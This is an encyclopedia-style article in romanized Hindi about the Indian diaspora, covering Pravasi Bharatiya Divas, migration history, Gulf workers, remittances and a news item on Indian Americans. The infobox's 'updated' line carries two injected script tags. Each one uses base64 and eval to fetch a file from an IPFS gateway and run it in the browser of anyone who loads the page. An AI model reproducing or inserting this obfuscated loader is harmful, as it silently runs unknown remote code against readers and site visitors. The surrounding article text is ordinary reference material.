प्रवासी भारतीय
pravasi bharatiy
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vivaran | 'pravasi bharatiy divas' ya 'anivasi bharatiy divas' 9 janavari ko poore bharat mean manaya jata hai. |
shuruat | 2003 |
karyakram | pravasi bharatiy divas ke avasar par prativarsh tin divasiy karyakram ayojit kie jate haian jisamean un bharatiyoan ko sammanit kiya jata hai jinhoanne videsh mean jakar bharatavarsh ka nam ooancha kiya hai. |
sanbandhit lekh | pravasi bharatiy divas |
any janakari | 9 janavari, 1915 ko pravasi bharatiy divas ke roop mean manyata di gee hai kyoanki isi din mahatma gaandhi dakshin aphrika se bharat laute aur aantatah duniya bhar mean pravasi bharatiyoan aur aupaniveshik shasan ke tahat logoan ke lie aur bharat ke saphal svatantrata sangharsh ke lie prerana bane. |
adyatan | 14:58, 9 janavari 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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pravasi bharatiy ve log haian jo bharat chho dakar vishv ke doosare deshoan mean ja base haian. ye daniya ke anek deshoan mean phaile hue haian. 48 deshoan mean rah rahe pravasi bharatiyoan ki janasankhya qarib 2 karo d hai. inamean se 11 deshoan mean 5 lakh se jyada pravasi bharatiy vahaan ki ausat janasankhya ka pratinidhitv karate haian aur vahaan ki arthik v rajanitik dasha v disha ko tay karane mean mahattvapoorn bhoomika nibhate haian. yahaan unaki arthik, shaikshanik v vyavasayik dakshata ka adhar kafi majaboot hai. ve vibhinn deshoan mean rahate haian, alag bhasha bolate haian parantu vahaan ke vibhinn kriyakalapoan mean apani mahati bhoomika nibhate haian. pravasi bharatiyoan ko apani saanskritik virasat ko akshunn banae rakhane ke karan hi sajha pahachan mili hai aur yahi karan hai jo unhean bharat se gahare jo data hai.
arthik mahashakti banata 'bharat'
jahaan-jahaan pravasi bharatiy base vahaan unhoanne arthik tantr ko majabooti pradan ki aur bahut kam samay mean apana sthan bana liya. ve mazadoor, vyapari, shikshak anusandhanakarta, khojakarta, daktar, vakil, ianjiniyar, prabandhak, prashasak adi ke roop mean duniyabhar mean svikar kie ge. pravasiyoan ki saphalata ka shrey unaki paranparagat soch, saanskritik moolyoan aur shaikshanik yogyata ko diya ja sakata hai. kee deshoan mean vahaan ke mool nivasiyoan ki apeksha bharatavanshiyoan ki prati vyakti ay jyada hai. vaishvik star par soochana takanik ke kshetr mean kraanti mean inaki mahattvapoorn bhoomika rahi hai, jisake karan bharat ki videshoan mean chhavi nikhari hai. pravasi bharatiyoan ki saphalata ke karan bhi aj bharat arthik vishv mean arthik mahashakti ke roop mean ubhar raha hai.[[chitr:Pravasi-Bharatiya-samman-manmohan-singh.jpg|thumb|left|pradhanamantri manamohan sianh pravasi bharatiy samman samaroh ke dauran]] bharat ke paanch hajar se bhi purane mahanh itihas mean is desh mean vishhv ke vibhinhn bhagoan se har tarah ke hamalavar evan agantuk ate rahe haian. is prakriya mean, apane itihas ke dauran bharat ne anek sanshkritiyoan evan sabhhyataoan ko samahit kiya hai tatha sabhi hamalavaroan ne aantat: bharat ko apane ghar ke roop mean apanaya hai. bharat mean videshiyoan ke ane ka silasila aryoan se shuroo hua jo madhhy eshiya ye yahaan ae the tatha yah silasila aangrejoan ke samay tak chalata raha jinhhoanne hamare pahale anivasi bharatiy - mohanadas karamachand gaandhi ke netrithv mean mahanh shvatantrata sangharsh ke karan bharat chho da.
pravasiyoan ka itihas
- jo bharatiy sabase pahale videsh ge ve samrat ashok ke doot the jo eesa poorv tisari shatabhdi mean bauddh dharm ke siddhaantoan ka prasar karane ke lie ge the. isake bad chol vansh ne apani shakhaoan ko sudoor poorv mean phailaya. aisa kaha jata hai ki bharat ke vhyapariyoan ne apane khud ke potoan ka nirman kiya tha tatha ve karobar ki talash mean rom evan chin tak ja pahuanche the.
- 19vian shatabhdi ke dauran tatha bharat mean british shasan ki samaphti tak, bharat ke log qararanama pranali ke aantargat aangrejoan ke anhy upaniveshoan - m aaurishas, guyana, kairebiyan, phiji evan poorvi aphrika mean ge. isi avadhi mean gujarati evan siandhi saudagar aden, oman, baharin, dubee, dakshin aphrika evan poorvi aphrika, jisamean se adhikaansh par aangrejoan ka shasan tha, mean ja kar bas ge.
- navinatam anusandhan ke nishhkarshoan ke anusar, aisa mana ja raha hai ki bharatiy jiphsi lagabhag 1500 sal pahale yoorop mean ge the. sanyukht rajhy amarika mean ve isake bad pahuanche the. 2 julaee 1946 ko rashhtrapati hairi trooman dvara lhyoos - selar adhiniyam, 1946 par hashtakshar kiya gaya jisake anusar 100 philipinos tatha 100 bharatiyoan ko har sal sanyukht rajhy amarika mean pravesh karane ka kota nirdharit kiya gaya. aj sanyukht rajhy amarika mean 3 miliyan se adhik bharatiy amerikan haian jisamean vaijnanik, ianjiniyar evan prophesar shamil haian. inamean se kuchh vhyavasay jagath ke taikoon evan rajanitik neta bhi ban ge haian.
bharatiyoan ke pravasan
bharatiyoan ke pravasan ki do laharean chali thi.
- pahala, yah nirman boom tha jo tel ki kimatoan mean vriddhi ke bad kha di ke deshoan mean 1970 ke dashak mean shuroo hua jisaki vajah se bharat se kushal evan akushal donoan prakar ke shramik vahaan jane ke lie akrishht hue. kha di ke deshoan ne bhari sankhhya mean bharat ke logoan ko akarshit karana jari rakha hai.
- 1990 ke dashak mean doosari lahar mean, sanyukht rajhy amarika tatha bad mean yoorop evan anhy deshoan ne aee.ti. evan praudyogiki ke kshetroan mean naukari karane ke lie yuva bharatiy kod lekhakoan ko akarshit kiya.
hamari bahumoolhy parisanpatti
[[chitr:Pravasi-Bharatiya-samman-manmohan-singh-2.jpg|thumb|250px|8 janavari, 2013 ko keral mean 11vean pravasi bharatiy divas ke avasar par pradhanamantri d aau. manamohan sianh]] is tathhy ko shvikar karate hue ki anivasi bharatiy tatha bharatiy mool ke log videshoan mean hamari bahumoolhy parisanpatti haian, bharat sarakar ne 2004 mean bharatiy dayasapora ke muddoan evan sarokaroan ke samadhan ke lie pravasi bharatiy mamale mantralay (em o aee e) ka gathan kiya. yah mantralay videsh mantralay ke sath milakar kam karata hai tatha bharatiy dayasapora, jisaki anumanit sankhhya lagabhag 28 miliyan hai, ke kalhyan evan dekhabhal ke lie ekal biandu seva kenhdr ke roop mean kam karata hai. bharat sarakar ne hal ke varshoan mean anek pahaloan ki shurooat ki hai tatha pravasi bharatiyoan ka jivan saral banane ke lie navachar karana jari rakha hai. pravasi bharatiy divas ek varshik karyakram hai jisamean pravasi bharatiyoan ki samashyaoan par vichar - vimarsh kiya jata hai tatha bharat ke pradhan mantri ji dvara mahathvapoorn pravasi bharatiyoan ko samhmanit kiya jata hai.
bharatiy pravasi samuday
bharatiy dayasapora mean tin prakar ke log haian.
- pahali shreni mean ve log ate haian jo bahut pahale paradesh jakar bas ge tatha aj apane mejaban deshoan ke shthaee nagarik haian. ye mukhhy roop se pashhchim aphrika aur dakshin poorv eshiya mean haian.
- doosari shreni un logoan ki hai ve apane-apane mejaban deshoan ke nagarik banane vale haian tatha kathit grin kard evan nivas paramit dharak haian tatha ye bhi mukhhy roop se pashhchimi deshoan mean haian. in shreniyoan ke bharatiy amataur par uchhch arhata prapht haian jisamean d aaukhtar, vaijnanik, ianjiniyar, prophesar evan udyami shamil haian.
- tisari shreni hamare aise samuday ki hai jo mukhhy roop se kha di ke deshoan mean sankenhdrit hai jo gair araboan ko nagarikata nahian dete haian. kha di ke deshoan mean rahane vale hamare pravasi, jinaki sankhhya 6.5 miliyan ke asapas hai, kushal evan ardh kushal kamagar haian tatha ve karyalayoan, dukanoan, shkooloan evan karakhanoan ke sath sath parivaroan mean bhi naukari karate haian. pichhale kuchh dashakoan mean, unhhoanne apani k di mehanat, milanasar shvabhav tatha gair rajanitik drishhtikon ke bal par apane-apane mejabanoan ke lie apani apariharyata ko sabit kiya hai. tathapi, ve apane mejaban deshoan mean paradeshi bane rahate haian, vahaan tab tak rukate haian aur kam karate haian jab tak unaka viza aisa karane ki anumati deta hai aur aant mean apane desh ko laut ate haian.[[chitr:President pratibha patil- Pravasi-Bharatiya-samman.jpg|thumb|left|tatkalin rashtrapati pratibha patil dvara sammanit pravasi bharatiy saleh vahid]]
anivasi bharatiy ka karyakal
bharat sarakar ka manana hai ki anivasi bharatiy ke karyakal mean tin charan hote haian.
- pahala charan taiyari avadhi hoti hai jab kisi sanbhavit paradeshi ko bharti karane vale ejeant ke prathyay patr ki avashhy pushhti karani chahie, kary sanvida ki shartoan evan nibandhanoan ko samajhana chahie tatha yah adhhyayan karana chahie ki mejaban desh mean khya kiya ja sakata hai aur khya nahian kiya ja sakata hai tatha pushhti karani chahie ki sanvida ki ek prati sanbandhit 'bharatiy mishan' ko sauanp di gee hai.
- doosara charan vah hota hai jab kamagar apane mejaban desh mean pahuanch jata hai tatha prayojak ke sath kam karana shuroo kar deta hai. prayojak evan prayojit ko avashhy sunishhchit karana chahie ki ve donoan hi sanvida ki shartoan evan nibandhanoan ka palan karate haian. yadi unamean se koee bhi sanvida ki pratibaddhataoan se pichhe hatata hai, to sauhardapoorn samadhan ke lie us par dhhyan dene ki zaroorat hoti hai. yadi koee samadhan nahian ho pata hai, to najadiki bharatiy mishan ki 24X7 helhp lain dvara yah sunishhchit karane ke lie mamale ko apane hath mean liya jata hai ki ya to kisi upayukht samadhan par sahamati ho jae ya phir shthaniy pradhikariyoan ke madhhyam se egzit paramit ki vhyavashtha ki jae taki kamagar ki ghar vapasi mean suvidha pradan ki ja sake.
- tisara charan vah hota hai jab en.ar.aee. aantat: apane desh laut ata hai. is charan par, vah ya to shthaee roop se apane desh mean bas jana chahega ya phir kha di ke kisi doosare desh mean jane ka prayas karega. yadi vah bharat mean rukana chahata hai to use apane kaushal ke adhar par upayukht pun: prashikshan evan punarvas ke madhhyam se hamare desh ki arthavhyavashtha ki mukhhy dhara se ju dane ki zaroorat hoti hai. yadi vah kuchh dhan bachane mean samarth hota hai, to use udyami banane ke lie bhi prashikshan diya ja sakata hai.
- kha di ke deshoan ke en.ar.aee. ka mahathv nimhnalikhit mahathvapoorn tathhyoan ki vajah se hai-
- yadi koee bharatiy kamagar videsh mean kam karane ke lie apana ghar chho dakar jata hai to vah shvat: hi apane pichhe ek naukari chho d jata hai jo bharat mean kisi doosare bharatiy ke lie upalabhdh ho jati hai.
- videsh mean kamagar ke roop mean apane karyakal ke bad galhph en.ar.aee. apane desh mean vapas a jata hai tatha usake lie apane mejaban kha di desh ka nagarik banane ki koee guanjaish nahian hoti hai.
- kha di desh ke kamagar apani lagabhag poori ay apane desh bhejate haian tatha unaka parivar apani jivika ke lie isi dhan par poori tarah nibharr hota hai. is prakar kha di deshoan mean kam karane vale 6.5 miliyan kamagar apane desh mean 40 se 50 miliyan anhy parivar sadashyoan ke jivan yapan mean sahayata karate haian.
- jab kha di ke deshoan mean kam karane vala koee en ar aee apani k di mehanat se arjit ay ko bharat mean apane parivar ke pas bhejata hai, to vah bharat sarakar ke lie bahumoolhy videshi mudra bhi pradan karata hai.
- vishhv baiank ne anuman lagaya hai ki 2012 mean bharat mean videshoan se 70 biliyan amariki d aaular bheja gaya jo chin ko prapht 66 biliyan amariki d aaular se adhik hai. vishhv baiank ne yah bhi kaha ki bharat bheje jane vale dhan mean bhari vriddhi kha di deshoan se bheje vale dhan ke karan hai.
- yah not karana b da rochak hai ki hamare yahaan videshoan se ane vala dhan adhikaanshat: kha di deshoan se ata hai tatha yah keral ke sakal ghareloo uthpad, jo anumanat: 69 biliyan amariki d aaular hai, se 11 biliyan amariki d aaular adhik hai.
naye rujhan
- kha di ke deshoan mean keral samet dakshin bharat ke rajhyoan mean rahane vale bharatiyoan ki sankhhya dhire-dhire ghat rahi hai tatha bharat ke anhy bhagoan ka pratinidhithv dhire-dhire badh raha hai. yah arthik sidhi mean dakshin bharat se pichhale paradeshiyoan ki avajahi mean vriddhi ka dyotak hai.
- kha di ke deshoan mean kushal kamagaroan ki sankhhya mean mook kinhtu adig roop se vriddhi ho rahi hai. adhik sankhhya mean ianjiniyar, shikshak, d aaukhtar, nars evan vhyapari kha di ke deshoan mean ja rahe haian. is samay kha di ke deshoan mean kuchh aise en.ar.aee. vhyavasayik gharane haian jo achhchha kam kar rahe haian.
- shramikoan ka niryat karane vale anhy deshoan se pratishpardha tivr hoti ja rahi hai. in deshoan ne apane logoan ko nars evan ashpatal parichar, hotal evan atithy visheshajn, sh aaupiang evan phutakar sahayak, audyogik kamagar adi ke roop mean kam karane ke lie vishishht kaushal pradan karana shuroo kar diya hai tatha in deshoan ke prashikshit vhyakhti adhikadhik matra mean bharat samet anhy deshoan ke aprakshishit evan kam daksh kamagaroan ka shthan lete ja rahe haian.
hamean apane kamagaroan ki shiksha evan prashikshan ki disha mean yuddh shtar par kam karana jari rakhana chahie taki shvadesh vapasi par lautane vale kamagaroan ke abadh pun: ekikaran ka sunishhchiy ho sake tatha unhhean prerit kiya ja sake jo apane desh mean vapas akar udyami banana chahate haian tatha aisi kshamata rakhate haian. [1]
samachar
apani mehanat se amerikiyoan ki soch badali bharatiyoan ne
- ravivar, 11 sitanbar, 2011
amerika mean atanki hamale ke bad das sal se vahaan rah rahe bharatiy amerikiyoan ne apane ap ko mazabooti se kh da kiya hai. 9 / 11 ki ghatana ke bad eshiyaee logoan ko sandeh ki najar se dekha ja raha tha, lekin bharatiy mool ke logoan ke bare mean amerikiyoan ki soch bilkul badal gee hai. isaka karan bharatiyoan ki pratibha aur parishram hai. bharatiy mool ke logoan ke vishv sangathan (jiopiaio) ke poorv cheyaramain v sansthapak adhyaksh th aaumas abraham ne aienes ko bataya ki bharatiy ameriki samuday rajanitik roop se bahut hi sakriy hai. bharatiy mool ke amerika mean do garvanar haian. desh, rajy v shahar star par darjan bhar janapratinidhi haian. isake alava prashasan mean anek log haian. bharatiy ameriki samuday ke lie yah b di upalabdhi hai.[2]
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tika tippani aur sandarbh
- ↑ pravasi bharatiy divas 2013 ke avasar par videsh rajhy mantri shri ee ahamad dvara bhashan (hiandi) videsh mantralay, bharat sarakar. abhigaman tithi: 3 janavari, 2014.
- ↑ abhar- dainik jagaran dinaank- 11 sitanbar, 2011 prishth sankhya- 24
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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